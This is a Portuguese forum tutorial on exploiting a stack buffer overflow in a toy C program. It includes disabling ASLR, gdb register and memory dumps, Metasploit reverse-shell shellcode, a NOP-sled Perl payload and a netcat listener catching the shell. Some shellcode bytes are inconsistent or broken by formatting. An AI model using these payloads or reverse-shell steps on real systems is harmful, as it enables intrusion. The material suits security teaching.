Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Explorando Buffer Overflow em sistemas Unix

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Explorando Buffer Overflow em sistemas Unix

    Fala ae pessoal.

    Vou falar um pouco sobre Buffer Overflow neste tópico

    Ensinarei como explorar esta falha em sistemas Unix. Causarei um buffer overflow para conseguir invocar uma shell reversamente, explicarei cada passo meu para o melhor entendimento.

    Este é o nosso programa vulnerável a buffer overflow:


    /* vuln.c */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>

    int bof(char *string) {

    char buffer[1024];

    strcpy(buffer, string);

    return 1;
    }

    int main(int argc, char *argv[]) {

    bof(argv[1]);
    printf("Pronto!\n");

    return 1;
    }


    Este programa, simplesmente recebe as strings do usuário e copia pro buffer, o qual tem a capacidade de 1024 bytes de dados. Se for enviado mais do que isso, causará um buffer overflow, e isso re-escreverá partes da memória.

    Vamos compilá-lo:

    bt NSG # gcc vuln.c -o vuln

    Ah, precisamos desativar o patch do VA para conseguirmos exploitar o buffer overflow:

    bt NSG # cat /proc/sys/kernel/randomize_va_space
    0
    bt NSG # echo 0 > /proc/sys/kernel/randomize_va_space
    bt NSG # cat /proc/sys/kernel/randomize_va_space
    0
    bt NSG #


    Agora, usaremos um debugger chamdo gdb para ver o que acontece quando é enviado mais que 1024 bytes de dado.
    Usarei o Perl para conseguir enviar um buffer com 1040 bytes de dado:


    bt NSG # gdb ./vuln
    GNU gdb 6.6
    Copyright (C) 2006 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for details.
    This GDB was configured as "i486-slackware-linux"...
    Using host libthread_db library "/lib/libthread_db.so.1".
    (gdb) run ´perl -e 'print "A"x1040'´
    Starting program: /root/NSG/vuln ´perl -e 'print "A"x1040'´

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb)


    Como você pode ver, eu enviei uma string de 1040*A, A é 0x41 em sua forma hexadecimal.
    Agora vamos analizar quais partes da memória foram sobre-escritos:


    (gdb) i r
    eax 0x1 1
    ecx 0xfffff9e6 -1562
    edx 0xbffff8aa -1073743702
    ebx 0xb7fcc000 -1208172544
    esp 0xbffff290 0xbffff290
    ebp 0x41414141 0x41414141
    esi 0xb7fce17c -1208163972
    edi 0x2 2
    eip 0x41414141 0x41414141
    eflags 0x10282 [ SF IF RF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    (gdb)


    Preste bastante atenção a esta parte:

    eip 0x41414141 0x41414141

    EIP é Extended Instruction Pointer, é nele que fica os endereços para a próxima instrução. Basicamente, ele aponta para o endereço onde o próximo pedaço de código será executado.
    Então, sobre-escrevendo o eip com um endereço que contem um código nosso, nos permitirá que controlemos o fluxo(flow) do programa.
    Nós sobre-escrevemos o eip com 41414141 que é AAAA. Porém, 41414141 não contém nenhum código e é uma parte inválida da memória que está sendo apontada.

    Então precisamos apontar para um código nosso

    Para executar um código nosso, usaremos algo que se chama ShellCode(sim, o famoso).
    O ShellCode, também conhecido por Bytecode, contém um conjunto de instruções do cpu. Não vamos falar sobre como criar nosso próprio ShellCode neste tópico(talvez mais pra frente ), então usaremos o metasploit para gerar um.

    Primeiro, nós precisamos mandar o netcat ficar escutando e esperando por uma shell, vamos à escuta:


    bt NSG # nc -l -p 9999 -vv
    listening on [any] 9999 ...


    E vamos verificar nosso endereço IP:


    bt ~ # ifconfig |grep inet
    inet addr:192.168.0.6 Bcast:192.168.0.255 Mask:255.255.255.0
    inet addr:127.0.0.1 Mask:255.0.0.0
    bt ~ #


    Nosso endereço IP é 192.168.0.6. Agora, precisamos checar se o netcat está escutando devidamente:


    bt ~ # netstat -an |grep 9999
    tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
    bt ~ #


    Certo, agora vá no site Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    para gerarmos nossa ShellCode.
    Complete o formulário da seguinte forma:

    LHOST Required ADDR = 192.168.0.6 (aqui você coloca o seu endereço ip)
    LPORT Required PORT = 9999

    e clique em "Generate Payload.."

    Ele gerará isto:

    /* linux_ia32_reverse - LHOST=192.168.0.6 LPORT=9999 Size=96 Encoder=PexFnstenvSub Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... */
    unsigned char scode[] =
    "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76"
    "\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\ x25\xff\x48\xa9"
    "\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\ x3f\xec\xb3\x98"
    "\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\ x25\x1c\xab\x73"
    "\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\ x59\xe6\x22\xab"
    "\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\ xbb\x15\x4a\xc3";


    Como vocês devem ter percebido, o ShellCode tem 96 bytes.
    Vamos pegar apenas o necessário:

    \x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x 81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47 \x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x 15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd \x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\x ab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22 \xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x 90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3

    Este ShellCode se conecta ao IP 192.168.0.6 pela porta 9999, que é onde o netcat está escutando, e nos dá uma shell.

    Agora para encontrar nosso ShellCode na memória é um saco, então usaremos a técnica do NOP.
    NOP é uma instruçãop que não faz nada( No Operation, 0x90)

    Então, colocaremos algumas instruções NOP(nopsled) antes de nosso ShellCode, e apontaremos o eip para algum lugar de nosso NOPSLED, nossa payload ficará assim:

    [dados inúteis - A (0x41)] [nopsled] - [ShellCode] [eip]

    Agora nós precisamos calcular quanto, exatamente, precisamos enviar:

    nós usamos 1040 bytes para sobre-carregar o eip com 0x41414141
    eip são 4 bytes, então:
    1040 - 4 = 1036
    precisamos de 96 bytes para nosso ShellCode, então
    1036 - 96 = 940
    E nós podemos usar 940 bytes para nossos 'dados inúteis' e nosso nopsled.
    Usarei 340 bytes para nosso nopsled, então será 340 x 0x90
    940 - 340 = 600
    E sobraram 600 bytes para usarmos de 'dados inúteis', ou seja, são 600 x A (0x41)
    Nossa payload deverá ficar assim:

    600x A(0x41) + 340 x NOP(0x90) + 96 bytes do ShellCode + 4 bytes do EIP = 1040 bytes

    PAYLOAD:

    ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`


    Sobre-escreverei o eip com BBBB (0x42424242) apenas para um melhor entendimento.


    (gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`

    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    (gdb)


    Como você pode ver, o eip foi sobre-escrito com 0x42424242 que é a parte da nossa payload que foi usada para sobre-escrever o eip.
    Agora, precisamos apontar o eip para nosso nopsled ao invés de 0x42424242.
    Vamos analizar nossa memória para vermos onde o nosso nopsled está:


    (gdb) x/2000xb $esp


    Agora aperta enter até ver uma grande quantidade de intruções NOP:


    0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90


    Antes do nosso nopsled, podemos ver nossos dados inúteis cheios de A(0x41), que foi como construímos nossa payload
    Após nosso NOPSLED, temos nosso ShellCode:


    0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0x83
    0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
    ---Type <return> to continue, or q <return> to quit---
    0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
    0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
    0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
    0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
    0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
    0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
    0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
    0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3


    Como você pode ver, nosso ShellCode começa com \x33.
    Agora, nós precisamos sobre-escrever o eip de forma que aponte para algum lugar em nosso nopsled.
    Isso irá executar as instruções NOP até chegar ao nosso ShellCode, que nos trará uma shell reversamente na porta 9999.

    Vamos escolher um endereço que se encontra nosso nopsled, pegarei como exemplo este:

    0xbffff740

    Vamos escrever no formato "little-endian"(ao contrário):

    \x40\xf7\xff\xbf

    E vamos colocar isto em nossa payload, que ficará assim:


    ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`


    Agora vamos rodar o programa usando nossa payload como argumento:


    (gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`

    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`

    Agora vamos voltar ao netcat, o qual deixamos escutando na porta 9999:


    bt NSG # nc -l -p 9999 -vv
    listening on [any] 9999 ...
    192.168.0.6: inverse host lookup failed: No address associated with name
    connect to [192.168.0.6] from (UNKNOWN) [192.168.0.6] 59126

    uname -a
    Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz GenuineIntel GNU/Linux

    Tem Hackers que usam os 10 dedos da mão para digitar, sem desperdiçar o dedão na barra de espaçosigpic
    Similar Threads

  • Font Size
    #2
    é antigo mais é sempre bom ter conteudos para estudar xD
    Tem Hackers que usam os 10 dedos da mão para digitar, sem desperdiçar o dedão na barra de espaçosigpic

    Comment

    X
    Working...
    X